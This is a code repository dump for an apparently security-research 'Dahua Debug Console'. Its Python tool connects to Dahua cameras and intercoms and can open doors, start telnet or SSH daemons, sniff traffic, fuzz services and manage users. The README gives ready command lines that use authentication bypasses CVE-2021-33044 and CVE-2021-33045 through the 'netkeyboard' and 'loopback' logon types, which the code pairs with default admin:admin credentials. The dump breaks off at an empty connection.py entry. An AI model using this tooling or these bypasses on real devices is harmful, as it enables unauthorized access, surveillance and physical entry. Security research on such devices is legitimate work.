[
  {
    "path": ".gitignore",
    "content": "__pycache__/\n.idea/\n.git/\nbackup/\n*.json\n/venv/\n"
  },
  {
    "path": "Console.py",
    "content": "#!/usr/bin/env python3\n\n\"\"\"\nAuthor: bashis <mcw noemail eu> 2019-2021\nSubject: Dahua Debug Console\n\"\"\"\nimport argparse\nimport _thread\n\nfrom utils import *\nfrom pwdmanager import PwdManager\nfrom dahua import DahuaFunctions\nfrom servers import Servers\n\n\nclass DebugConsole(Servers):\n    \"\"\" main init and loop for console I/O \"\"\"\n    \"\"\" If multiple Consoles is attached to one device, all attached Consoles will receive same output from device \"\"\"\n    def __init__(self, dargs):\n        super(DebugConsole, self).__init__()\n\n        self.dargs = dargs\n\n        if self.dargs.dump or self.dargs.test:\n            self.dump()\n            return\n\n        if self.dargs.restore:\n            self.restore(self.dargs.restore)\n            return\n\n        self.main_console()\n\n    #\n    # Main console for instances\n    #\n    def main_console(self):\n\n        #\n        # Additional Cmd list\n        #\n        cmd_list = {\n            'certificate': {\n                'cmd': 'self.dh.get_remote_info(\"certificate\")',\n                'help': 'Dump some information of remote certificate',\n            },\n            'config': {\n                'cmd': 'self.dh.config_members(msg)',\n                'help': 'remote config (-h for params)',\n            },\n            'console': {\n                'cmd': 'self.dh_console(msg)',\n                'help': 'console instance handling (-h for params)',\n            },\n            'debug': {\n                'cmd': 'self.debug_instance(msg)',\n                'help': 'debug instance (-h for params)',\n            },\n            'device': {\n                'cmd': 'self.dh.get_remote_info(msg)',\n                'help': 'Dump some information of remote device',\n            },\n            'dhp2p': {\n                'cmd': 'self.dh.get_remote_info(\"dhp2p\")',\n                'help': 'Dump some information of dhp2p',\n            },\n            'diag': {\n                'cmd': 'self.dh.interim_remote_diagnose(msg)',\n                'help': 'Interim Remote Diagnose (-h for params)',\n            },\n            'door': {\n                'cmd': 'self.dh.open_door(msg)',\n                'help': 'open door (-h for params)',\n            },\n            'events': {\n                'cmd': 'self.dh.event_manager(msg)',\n                'help': 'Subscribe on events from eventManager (-h for params)',\n            },\n            'fuzz': {\n                'cmd': 'self.dh.fuzz_service(msg)',\n                'help': 'fuzz service methods (-h for params)',\n            },\n            'ldiscover': {\n                'cmd': 'self.dh.dh_discover(msg)',\n                'help': 'Device Discovery from this script (-h for params)',\n            },\n            'dlog': {\n                'cmd': 'self.dh.dlog(msg)',\n                'help': 'Log stuff (-h for params)',\n            },\n            'network': {\n                'cmd': 'self.dh.net_app(msg)',\n                'help': 'Network stuff (-h for params)',\n            },\n            'memory': {\n                'cmd': 'self.memory_info()',\n                'help': 'Used memory of this script (-h for params)',\n            },\n            'pcap': {\n                'cmd': 'self.dh.network_sniffer_manager(msg)',\n                'help': 'remote device pcap (-h for params)',\n            },\n            'rdiscover': {\n                'cmd': 'self.dh.device_discovery(msg)',\n                'help': 'Device Discovery from remote device (-h for params)',\n            },\n            'service': {\n                'cmd': 'self.dh.list_service(msg)',\n                'help': 'List remote services and \"methods\" (-h for params)',\n            },\n            'sshd': {\n                'cmd': 'self.dh.telnetd_sshd(msg)',\n                'help': 'Start / Stop (-h for params)',\n            },\n            'setDebug': {\n                'cmd': 'self.dh.set_debug()',\n                'help': 'Should start produce output from Console in VTO/VTH',\n            },\n            'telnet': {\n                'cmd': 'self.dh.telnetd_sshd(msg)',\n                'help': 'Start / Stop (-h for params)',\n            },\n            'test-config': {\n                'cmd': 'self.dh.new_config(msg)',\n                'help': 'New config test (-h for params)',\n            },\n            'ldap': {\n                'cmd': 'self.dh.set_ldap()',\n                'help': 'LDAP test',\n            },\n            'uboot': {\n                'cmd': 'self.dh.u_boot(msg)',\n                'help': 'U-Boot Environment Variables (-h for params)',\n            },\n            '\"quit\"': {\n                'cmd': 'self.dh_console(msg)',\n                'help': '\"quit\" active instance \"quit all\" to quit from all',\n            },\n            '\"reboot\"': {\n                'cmd': 'self.dh_console(msg)',\n                'help': '\"reboot\" active instance \"reboot all\" to reboot all',\n            },\n            'REBOOT': {\n                'cmd': 'self.dh.reboot()',\n                'help': 'Try force reboot of remote',\n            },\n            'dh_test': {\n                'cmd': 'self.dh.dh_test(msg)',\n                'help': 'TEST function (-h for params)',\n            },\n            'usermgr': {\n                'cmd': 'self.dh.user_manager(msg)',\n                'help': 'User management (-h for params)',\n            },\n        }\n\n        dh_data = None\n\n        if not self.dargs.auth:\n            dh_data = PwdManager().get_host(self.dargs.rhost)\n            if not dh_data:\n                log.failure(color('You need to use --auth <username>:<password>', RED))\n                return False\n\n        if self.dargs.events:\n            _thread.start_new_thread(self.event_in_out_server, ())\n            _thread.start_new_thread(self.terminate_daemons, ())\n\n        try:\n            #\n            # Connect multiple pre-defined devices\n            #\n            if self.dargs.multihost and not (self.dargs.dump or self.dargs.test or self.dargs.auth or self.dargs.rhost):\n\n                for host in range(0, len(dh_data)):\n                    try:\n                        self.connect_rhost(\n                            rhost=dh_data[host].get('host'),\n                            rport=dh_data[host].get('port'),\n                            proto=dh_data[host].get('proto'),\n                            username=dh_data[host].get('username'),\n                            password=None,\n                            events=self.dargs.events if self.dargs.events else dh_data[host].get('events'),\n                            ssl=self.dargs.ssl,\n                            relay_host=dh_data[host].get('relay'),\n                            logon=dh_data[host].get('logon'),\n                            timeout=5\n                        )\n                    except KeyboardInterrupt:\n                        return False\n                    except Exception as e:\n                        print('MainConsole()', repr(e))\n                        if e.args == ('Authentication failed.',):\n                            return False\n                        pass\n                if not len(self.dhConsole):\n                    return False\n            #\n            # Connect single device pre-defined/or w/ credentials from command line\n            #\n            else:\n                if not self.connect_rhost(\n                        rhost=self.dargs.rhost if self.dargs.auth else dh_data.get('host'),\n                        rport=self.dargs.rport if self.dargs.auth else dh_data.get('port'),\n                        proto=self.dargs.proto if self.dargs.auth else dh_data.get('proto'),\n                        username=self.dargs.auth.split(':')[0] if self.dargs.auth else None,\n                        password=self.dargs.auth.split(':')[1] if self.dargs.auth else None,\n                        events=self.dargs.events if self.dargs.auth else dh_data.get('events'),\n                        ssl=self.dargs.ssl,\n                        relay_host=self.dargs.relay if self.dargs.auth else dh_data.get('relay'),\n                        logon=self.dargs.logon if self.dargs.auth else dh_data.get('logon'),\n                        timeout=5\n                ):\n                    return False\n        except KeyboardInterrupt:\n            return False\n        except AttributeError as e:\n            print(repr(e))\n            log.failure('[MainConsole]')\n            return False\n        #\n        # Main Console loop\n        #\n        while True:\n            try:\n                self.prompt()\n                # Python 3: readline() returns str, no need to decode\n                msg = sys.stdin.readline().strip()\n                if not self.dh or not self.dh.remote.connected():\n                    log.failure('No available instance')\n                    return False\n                cmd = msg.split()\n\n                if msg:\n                    if msg == 'shell' and not self.dargs.force:\n                        log.failure(\"[shell] will execute and hang the Console/Device (DoS)\")\n                        log.failure(\"If you still want to try, run this script with --force\")\n                        continue\n                    elif msg == 'exit' and not self.dargs.force:\n                        log.failure(\"[exit] You really want to exit? (maybe you mean 'quit' this connection?)\")\n                        log.failure(\"If you still want to try, run this script with --force\")\n                        continue\n\n                    command = None\n                    for command in cmd_list:\n                        if command == cmd[0]:\n                            tmp = cmd_list[command]['cmd']\n                            exec(tmp)\n                            break\n                    if command == cmd[0]:\n                        continue\n\n                    if self.dh.terminate:\n                        # console kill self.dh\n                        self.dh_console('console kill self.dh')\n                        continue\n\n                    if msg == 'quit' or len(cmd) == 2 and cmd[0] == 'quit' and cmd[1] == 'all':\n\n                        if len(cmd) == 2 and cmd[1] == 'all':\n                            self.quit_host(quit_all=True)\n                            return True\n                        if not self.quit_host(quit_all=False, msg=msg):\n                            return False\n\n                    elif msg == 'shutdown' or msg == 'reboot' or len(cmd) == 2 and cmd[1] == 'all':\n\n                        if len(cmd) == 2 and cmd[1] == 'all':\n                            self.quit_host(quit_all=True, msg=msg)\n                            return True\n\n                        if not self.quit_host(quit_all=False, msg=msg):\n                            return False\n\n                    elif msg == 'help':\n                        self.dh.run_cmd(msg)\n                        self.dh.subscribe_notify(status=True)\n                        log.info(\"Local cmd:\")\n                        for command in cmd_list:\n                            log.success(\"{}: {}\".format(command, cmd_list[command]['help']))\n\n                    else:\n                        if not self.dh.run_cmd(msg):\n                            log.failure(\"Invalid command: 'help' for help\")\n                            continue\n                        self.dh.subscribe_notify(status=True)\n\n            except KeyboardInterrupt:\n                pass\n            except EOFError as e:\n                print('[Console]', repr(e))\n                return False\n#            except Exception as e:\n#                print('[Console]', repr(e))\n#                pass\n\n    @staticmethod\n    def memory_info():\n        from resource import getrusage, RUSAGE_SELF\n        memory = getrusage(RUSAGE_SELF).ru_maxrss\n        if sys.platform == 'darwin':\n            memory = memory / 1024\n        log.info(\"Memory usage: {}\".format(size(memory)))\n\n    def set_config(self, key, table):\n        method_name = 'configManager'\n        self.dh.instance_service(method_name, start=True)\n        object_id = self.dh.instance_service(method_name, pull='object')\n\n        query_args = {\n            \"method\": \"configManager.setConfig\",\n            \"params\": {\n                \"table\": table,\n                \"name\": key,\n            },\n            \"object\": object_id,\n        }\n        log.info(f\"Setting {key}\")\n        dh_data = self.dh.send_call(query_args)\n        if not dh_data:\n            return\n        print(json.dumps(dh_data, indent=4))\n\n    def restore(self, fd):\n        self.connect()\n        \"\"\" Restores configuration from json file\"\"\"\n        config = json.loads(fd.read())\n        for k, v in config['params']['table'].items():\n            self.set_config(k, v)\n\n    def connect(self):\n        \"\"\" Handle the '--dump' options from command line \"\"\"\n\n        self.dhConsole = {}\n        self.dhConsoleNo = 0\n        self.udp_server = None\n\n        if not self.connect_rhost(\n                rhost=self.dargs.rhost,\n                rport=self.dargs.rport,\n                proto=self.dargs.proto,\n                username=self.dargs.auth.split(':')[0] if self.dargs.auth else None,\n                password=self.dargs.auth.split(':')[1] if self.dargs.auth else None,\n                events=self.dargs.events,\n                ssl=self.dargs.ssl,\n                relay_host=self.dargs.relay,\n                logon=self.dargs.logon,\n                timeout=5\n        ):\n            return None\n\n        if self.dargs.test:\n            self.dh.dh_test('test')\n            return None\n\n    def dump(self):\n        self.connect()\n        if self.dargs.dump == 'config':\n            self.dh.config_members(\"{} {}\".format(\"config\", self.dargs.dump_argv if self.dargs.dump_argv else \"all\"))\n            self.dh.logout()\n            return None\n        elif self.dargs.dump == 'service':\n            self.dh.listService(\"{} {}\".format(\"service\", self.dargs.dump_argv if self.dargs.dump_argv else \"all\"))\n            self.dh.logout()\n            return None\n        elif self.dargs.dump == 'device':\n            self.dh.getRemoteInfo('device')\n            self.dh.logout()\n            return None\n        elif self.dargs.dump == 'discover':\n            self.dh.deviceDiscovery(\"{} {}\".format(\"discover\", self.dargs.dump_argv))\n            self.dh.logout()\n            return None\n        elif self.dargs.dump == 'test':\n            self.dh.dh_test('test')\n            self.dh.logout()\n            return None\n        elif self.dargs.dump == 'dlog':\n            self.dh.dlog('test')\n            self.dh.logout()\n            return None\n        else:\n            log.error('No such dump: {}'.format(self.dargs.dump))\n            return None\n\n    def quit_host(self, quit_all=False, msg=None):\n        \"\"\" Quit from single device, or 'all' \"\"\"\n\n        cmd = ''\n        session = None\n        if msg:\n            cmd = msg.split()\n\n        if quit_all:\n            while True:\n                for session in self.dhConsole:\n                    log.warning(\"{}: {} ({})\".format(\n                        session,\n                        self.dhConsole.get(session).get('device'),\n                        self.dhConsole.get(session).get('host'),\n                    ))\n                    self.dh = self.dhConsole.get(session).get('instance')\n                    if msg and len(cmd) == 2 and cmd[1] == 'all':\n                        self.dh.cleanup()\n                        self.dh.run_cmd(cmd[0])\n                        if not self.dh.console_attach and cmd[0] == 'reboot':\n                            self.dh.reboot(delay=2)\n                    self.dh.logout()\n                    self.dh.terminate = True\n                    break\n                del self.dh\n                self.dhConsole.pop(session)\n                if not len(self.dhConsole):\n                    break\n            if self.tcp_server:\n                self.tcp_server.close()\n            if self.udp_server:\n                self.udp_server.close()\n            return True\n        else:\n            for session in self.dhConsole:\n                if self.dhConsole.get(session).get('instance') == self.dh:\n                    log.warning(\"{}: {} ({})\".format(\n                        session,\n                        self.dhConsole.get(session).get('device'),\n                        self.dhConsole.get(session).get('host'),\n                    ))\n                    self.dh.cleanup()\n                    self.dh.run_cmd(msg)\n                    if not self.dh.console_attach and msg == 'reboot':\n                        self.dh.reboot(delay=2)\n                    self.dh.logout()\n                    self.dh.terminate = True\n                    self.dhConsole.pop(session)\n                    del self.dh\n                    break\n\n            if not self.dh_instance():\n                return False\n            return True\n\n    def dh_instance(self, show=False):\n        \"\"\"Show connected instance\"\"\"\n\n        if not show:\n            if not len(self.dhConsole):\n                self.dh = False\n                return False\n\n            for session in self.dhConsole:\n                self.dh = self.dhConsole.get(session).get('instance')\n                break\n\n        for session in self.dhConsole:\n            log.info('Console: {}, Device: {} ({}) {} {}'.format(\n                session,\n                self.dhConsole.get(session).get('device'),\n                self.dhConsole.get(session).get('host'),\n                color('Active', GREEN) if self.dhConsole.get(session).get('instance') == self.dh else '',\n                '{} {}'.format(\n                    color(\n                        '(calls)'.format(self.dhConsole.get(session).get('instance').debug), YELLOW)\n                    if self.dhConsole.get(session).get('instance').debugCalls else '',\n\n                    color(\n                        '(traffic: {})'.format(self.dhConsole.get(session).get('instance').debug), YELLOW)\n                    if self.dhConsole.get(session).get('instance').debug else '',\n                )))\n        return True\n\n    @staticmethod\n    def prompt():\n        prompt_text = \"\\033[92m[\\033[91mConsole\\033[92m]\\033[0m# \"\n        sys.stdout.write(prompt_text)\n        sys.stdout.flush()\n\n    def dh_console(self, msg):\n        \"\"\"Handling connection/kill of instance from main Console\"\"\"\n\n        cmd = msg.split()\n\n        usage = {\n            \"conn\": {\n                \"all\": \"(connect all pre-defined devices)\",\n                \"<username>\": \"<password> <host> [[<port>] | [ <dvrip | dhip | 3des> [<port>]]\",\n                \"<host>\": \"(connect pre-defined device <host>)\"\n            },\n            \"kill\": {\n                \"dh<#>\": \"(kill instance dh<#>)\"\n            },\n            \"dh<#>\": \"(switch active console. e.g. 'console dh0')\"\n        }\n\n        if len(cmd) == 2 and cmd[1] == '-h':\n\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        elif len(cmd) == 3 and cmd[1] == 'kill':\n\n            if len(cmd) == 2:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n            try:\n                tmp = self.dhConsole.get(cmd[2]).get('instance')\n            except AttributeError:\n                log.failure('Console ({}) do not exist'.format(cmd[2]))\n                return False\n\n            self.dhConsole.pop(cmd[2])\n\n            tmp.terminate = True\n            tmp.logout()\n\n            del tmp\n\n            if not self.dh_instance():\n                return False\n            return True\n\n        elif len(cmd) >= 2 and cmd[1] == 'conn':\n\n            if len(cmd) > 2 and cmd[2] == '-h':\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return False\n\n            if len(cmd) == 2 or len(cmd) == 3:\n\n                dh_data = PwdManager().get_host()\n\n                if len(cmd) == 2:\n                    \"\"\" console conn \"\"\"\n\n                    for host in range(0, len(dh_data)):\n\n                        conn = next(\n                            (\n                                session for session in self.dhConsole\n                                if dh_data[host].get('host') == self.dhConsole.get(session).get('host')\n                            ), None)\n                        log.info('{} {}'.format(\n                            dh_data[host].get('host'), 'Connected ({})'.format(color(conn, GREEN)) if conn else ''))\n\n                    return True\n\n                if cmd[2] == 'all':\n                    \"\"\" console conn all \"\"\"\n                    for host in range(0, len(dh_data)):\n                        if not self.connect_rhost(\n                                rhost=dh_data[host].get('host'),\n                                rport=dh_data[host].get('port'),\n                                proto=dh_data[host].get('proto'),\n                                username=dh_data[host].get('username'),\n                                password=None,\n                                events=self.dargs.events if self.dargs.events else dh_data[host].get('events'),\n                                relay_host=dh_data[host].get('relay'),\n                                ssl=self.dargs.ssl,\n                                timeout=5):\n                            pass\n                    return True\n\n                \"\"\" console conn <host> \"\"\"\n                host = check_host(cmd[2])\n\n                if not host:\n                    log.failure('\"{}\" not valid host'.format(cmd[2]))\n                    return False\n\n                dh_data = PwdManager().get_host(host=host)\n                if not dh_data:\n                    return False\n\n                if not self.connect_rhost(\n                        rhost=dh_data.get('host'),\n                        rport=dh_data.get('port'),\n                        proto=dh_data.get('proto'),\n                        username=dh_data.get('username'),\n                        password=None,\n                        events=self.dargs.events if self.dargs.events else dh_data.get('events'),\n                        ssl=self.dargs.ssl,\n                        relay_host=dh_data.get('relay'),\n                        timeout=5):\n                    return False\n\n                if not self.dh_instance(show=True):\n                    return False\n                return True\n\n            elif len(cmd) == 4:\n                log.failure('Need at least \"rhost\"')\n                return False\n            elif len(cmd) >= 5 and not len(cmd) > 5:\n                rhost = cmd[4]\n                rport = cmd[5] if len(cmd) == 6 else 37777\n                proto = 'dvrip'\n            elif len(cmd) >= 6 and cmd[5] == 'dhip':\n                rhost = cmd[4]\n                proto = cmd[5]\n                rport = cmd[6] if len(cmd) == 7 else 5000\n            elif len(cmd) >= 6 and cmd[5] == 'dvrip' or cmd[5] == '3des':\n                rhost = cmd[4]\n                proto = cmd[5]\n                rport = cmd[6] if len(cmd) == 7 else 37777\n            else:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return False\n\n            log.info('Connecting with \"{}\" to {}:{}'.format(proto, rhost, rport))\n            if not self.connect_rhost(\n                    # rhost=cmd[4],\n                    rhost=rhost,\n                    rport=rport,\n                    proto=proto,\n                    username=cmd[2],\n                    password=cmd[3],\n                    events=self.dargs.events,\n                    ssl=self.dargs.ssl,\n                    # TODO: add relay_host\n                    # relay_host=,\n                    timeout=5):\n                return False\n\n        elif len(cmd) == 2:\n\n            if cmd[1] == '-h':\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return False\n\n            try:\n                self.dh = self.dhConsole.get(cmd[1]).get('instance')\n            except AttributeError:\n                log.failure(\"Console [{}] do not exist\".format(cmd[1]))\n                return\n\n        if not self.dh_instance(show=True):\n            return False\n        return True\n\n    def debug_instance(self, msg):\n        \"\"\" Handle 'debug' command from main Console \"\"\"\n\n        cmd = msg.split()\n\n        usage = {\n            \"object\": \"(dict with info about attached services)\",\n            \"instance\": \"(dict with connection details of instance)\",\n            \"calls\": \"<0|1> (debug internal calls)\",\n            \"traffic\": \"(debug DHIP/DVRIP traffic)\",\n            \"test\": \"test\"\n        }\n        if not len(cmd) > 1:\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return\n\n        if cmd[1] == 'object':\n            self.dh.instance_service(method_name=\"\", list_all=True)\n\n        elif cmd[1] == 'test':\n            object_methods = [\n                method_name for method_name in dir(self.dh)\n                if callable(getattr(self.dh, method_name))]\n            print(object_methods)\n\n        elif cmd[1] == 'instance':\n            for dh in self.dhConsole:\n                dh_data = '{}'.format(help_msg(dh))\n                for key in self.dhConsole.get(dh):\n                    dh_data += '[{}] = {}\\n'.format(key, self.dhConsole.get(dh).get(key))\n                log.info(dh_data)\n            return True\n\n        elif cmd[1] == 'calls':\n\n            usage = {\n                \"calls\": {\n                    \"0\": \"(debug off)\",\n                    \"1\": \"(debug on)\",\n                }\n            }\n\n            if len(cmd) == 2 or len(cmd) == 3 and cmd[2] == '-h':\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n\n            else:\n                try:\n                    if int(cmd[2]) < 0 or int(cmd[2]) > 1:\n                        log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                        return False\n                    self.dh.debugCalls = int(cmd[2])\n\n                    log.info('{} {}: {}'.format(cmd[0], cmd[1], self.dh.debugCalls))\n\n                except ValueError:\n                    log.failure(\"Not valid debug code: {}\".format(cmd[2]))\n                    return False\n                return True\n\n        elif cmd[1] == 'traffic':\n            usage = {\n                \"traffic\": {\n                    \"0\": \"(debug off)\",\n                    \"1\": \"(JSON traffic)\",\n                    \"2\": \"(hexdump traffic)\",\n                    \"3\": \"(hexdump + JSON traffic)\",\n                }\n            }\n\n            if len(cmd) == 2 or len(cmd) == 3 and cmd[2] == '-h':\n                if len(cmd) <= 3:\n                    log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                    return True\n            else:\n                try:\n                    if int(cmd[2]) < 0 or int(cmd[2]) > 3:\n                        log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                        return False\n                    self.dh.debug = int(cmd[2])\n\n                    log.info('{} {}: {}'.format(cmd[0], cmd[1], self.dh.debug))\n                except ValueError:\n                    log.failure(\"Not valid debug code: {}\".format(cmd[2]))\n                    return False\n                return True\n\n        else:\n            log.failure('No such command ({})'.format(msg))\n            return True\n\n\ndef main():\n    banner = '[Dahua Debug Console 2019-2021 bashis <mcw noemail eu>]\\n'\n\n    proto_choices = [\n        'dhip',\n        'dvrip',\n        '3des',\n        'http',\n        'https'\n    ]\n    logon_choices = [\n        'wsse',\n        'loopback',\n        'netkeyboard',\n        'onvif:plain',\n        'onvif:digest',\n        'onvif:onvif',\n        'plain',\n        'ushield',\n        'ldap',\n        'ad',\n        'cms',\n        'local',\n        'rtsp',\n        'basic',\n        'old_digest',\n        'old_3des',\n        'gui'\n    ]\n    dump_choices = [\n        'config',\n        'service',\n        'device',\n        'discover',\n        'log',\n        'test'\n    ]\n\n    discover_choices = [\n        'dhip',\n        'dvrip'\n    ]\n\n    parser = argparse.ArgumentParser(description=('[*] ' + banner + ' [*]'))\n    parser.add_argument('--rhost', required=False, type=str, default=None, help='Remote Target Address (IP/FQDN)')\n    parser.add_argument('--rport', required=False, type=int, help='Remote Target Port')\n    parser.add_argument(\n        '--proto', required=False, type=str, choices=proto_choices, default='dvrip', help='Protocol [Default: dvrip]'\n    )\n    parser.add_argument(\n        '--relay', required=False, type=str, default=None, help='ssh://<username>:<password>@<host>:<port>'\n    )\n    parser.add_argument(\n        '--auth', required=False, type=str, default=None, help='Credentials (username:password) [Default: None]')\n    parser.add_argument(\n        '--ssl', required=False, default=False, action='store_true', help='Use SSL for remote connection')\n    parser.add_argument(\n        '-d', '--debug', required=False, default=0, const=0x1, dest=\"debug\", action='store_const', help='JSON traffic'\n    )\n    parser.add_argument(\n        '-dd', '--ddebug', required=False, default=0, const=0x2, dest=\"ddebug\", action='store_const',\n        help='hexdump traffic'\n    )\n    parser.add_argument(\n        '--dump', required=False, default=False, type=str, choices=dump_choices, help='Dump remote config')\n    parser.add_argument(\n        '--restore', required=False, default=False, type=argparse.FileType('r'),\n        help='Restores device config from json config')\n    parser.add_argument('--dump_argv', required=False, default=None, type=str, help='ARGV to --dump')\n    parser.add_argument('--test', required=False, default=False, action='store_true', help='test w/o login attempt')\n    parser.add_argument(\n        '--multihost', required=False, default=False, action='store_true', help='Connect hosts from \"dhConsole.json\"'\n    )\n    parser.add_argument(\n        '--save', required=False, default=False, action='store_true', help='Save host hash to \"dhConsole.json\"'\n    )\n    parser.add_argument(\n        '--events', required=False, default=False, action='store_true', help='Subscribe to events [Default: False]'\n    )\n    parser.add_argument('--discover', required=False, type=str, choices=discover_choices, help='Discover local devices')\n    parser.add_argument(\n        '--logon', required=False, type=str, choices=logon_choices, default='default', help='Logon types')\n    parser.add_argument(\n        '-f', '--force', required=False, default=False, action='store_true', help='Bypass stops for dangerous commands'\n    )\n    parser.add_argument('--calls', required=False, default=False, action='store_true', help='Debug internal calls')\n    dargs = parser.parse_args()\n\n    \"\"\" We want at least one argument, so print out help \"\"\"\n    if len(sys.argv) == 1:\n        parser.parse_args(['-h'])\n\n    log.info(banner)\n\n    dargs.debug = dargs.debug + dargs.ddebug\n    \"\"\"\n    if not dargs.relay:\n        if dargs.proto == 'http' or dargs.proto == 'https':\n            log.failure('proto \"{}\" works only with relay'.format(dargs.proto))\n            return False\n    \"\"\"\n    if dargs.logon in logon_choices:\n        if dargs.proto not in ['dhip', 'http', 'https', '3des']:\n            dargs.proto = 'dhip'\n        if dargs.logon in ['loopback', 'netkeyboard']:\n            if not dargs.auth:\n                dargs.auth = 'admin:admin'\n\n    if (dargs.proto == 'dvrip' or dargs.proto == '3des') and not dargs.rport:\n        dargs.rport = 37777\n    elif dargs.proto == 'dhip' and not dargs.rport:\n        dargs.rport = 5000\n    elif dargs.proto == 'http' and not dargs.rport:\n        dargs.rport = 80\n    elif dargs.proto == 'https' and not dargs.rport:\n        dargs.rport = 443\n\n    if dargs.ssl and not dargs.relay:\n        if not dargs.force:\n            log.failure(\"SSL do not fully work\")\n            log.failure(\"If you still want to try, run this script with --force\")\n            return False\n        dargs.ssl = True\n        if not dargs.rport:\n            dargs.rport = '443'\n\n    \"\"\" Check if RPORT is valid \"\"\"\n    if not check_port(dargs.rport):\n        log.failure(\"Invalid RPORT - Choose between 1 and 65535\")\n        return False\n\n    \"\"\" Check if RHOST is valid IP or FQDN, get IP back \"\"\"\n    if dargs.rhost is not None:\n        if not check_host(dargs.rhost):\n            log.failure(\"Invalid RHOST\")\n            return False\n\n    if not dargs.discover:\n        if dargs.rhost is None and not dargs.multihost:\n            log.failure(\"[required] --multihost or --rhost\")\n            return False\n\n    if dargs.ssl:\n        log.info(\"SSL Mode Selected\")\n\n    if dargs.discover:\n        if not dargs.rhost:\n            if dargs.discover == 'dhip':\n                \"\"\" Multicast \"\"\"\n                dargs.rhost = '239.255.255.251'\n            elif dargs.discover == 'dvrip':\n                \"\"\" Broadcast \"\"\"\n                dargs.rhost = '255.255.255.255'\n        dh = DahuaFunctions(rhost=dargs.rhost, relay_host=dargs.relay, dargs=dargs)\n        dh.dh_discover(\"ldiscover {} {}\".format(dargs.discover, dargs.rhost))\n    else:\n        DebugConsole(dargs=dargs)\n\n    log.info(\"All done\")\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2021 bashis\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# Dahua Console\n\n- Version: Pre-alpha\n- Bugs: Indeed\n- TODO: Lots of stuff\n\n[Install requirements]\n```text\nsudo pip3 install -r requirements.txt\n```\n\n[Arguments]\n```text\n  -h, --help            show this help message and exit\n  --rhost RHOST         Remote Target Address (IP/FQDN)\n  --rport RPORT         Remote Target Port\n  --proto {dhip,dvrip,3des,http,https}\n                        Protocol [Default: dvrip]\n  --relay RELAY         ssh://<username>:<password>@<host>:<port>\n  --auth AUTH           Credentials (username:password) [Default: None]\n  --ssl                 Use SSL for remote connection\n  -d, --debug           JSON traffic\n  -dd, --ddebug         hexdump traffic\n  --dump {config,service,device,discover,log,test}\n                        Dump remote config\n  --dump_argv DUMP_ARGV\n                        ARGV to --dump\n  --test                test w/o login attempt\n  --multihost           Connect hosts from \"dhConsole.json\"\n  --save                Save host hash to \"dhConsole.json\"\n  --events              Subscribe to events [Default: False]\n  --discover {dhip,dvrip}\n                        Discover local devices\n  --logon {wsse,loopback,netkeyboard,onvif:plain,onvif:digest,onvif:onvif,plain,ushield,ldap,ad,cms,local,rtsp,basic,old_digest,gui}\n                        Logon types\n  -f, --force           Bypass stops for dangerous commands\n  --calls               Debug internal calls\n```\n---\n[Release]\n\n[Update]\n2022-07-10\n\n- Added 3des_old logon method for VTH1510CH running V2 software from 2016\n  - Minor difference in the login packet data\n  - Do not query device parameters on connect - will reset the connection\n- Added `--restore config-file.json`\n  - Loads json configuration file or parts thereof.\n\nExample:\n\n`./Console.py --rhost 192.168.1.x --proto 3des --auth admin:admin  --logon old_3des --dump config`\n\n[Update]\n\n2021-10-07\n\nDetails here: https://github.com/mcw0/PoC/blob/master/Dahua%20authentication%20bypass.txt\n\n2021-10-06\n\n\n[CVE-2021-33044]\n\nProtocol needed: DHIP or HTTP/HTTPS (DHIP do not work with TLS/SSL @TCP/443)\n```text\n[proto: dhip, normally using tcp/5000]\n./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 5000\n\n[proto: dhip, usually working with HTTP port as well]\n./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 80\n\n[proto: http/https]\n./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto http --rport 80\n./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto https --rport 443\n```\n\n[CVE-2021-33045]\n\nProtocol needed: DHIP (DHIP do not work with TLS/SSL @TCP/443)\n```text\n[proto: dhip, normally using tcp/5000]\n./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 5000\n\n[proto: dhip, usually working with HTTP port as well]\n./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 80\n```\n---\n\n"
  },
  {
    "path": "connection.py",
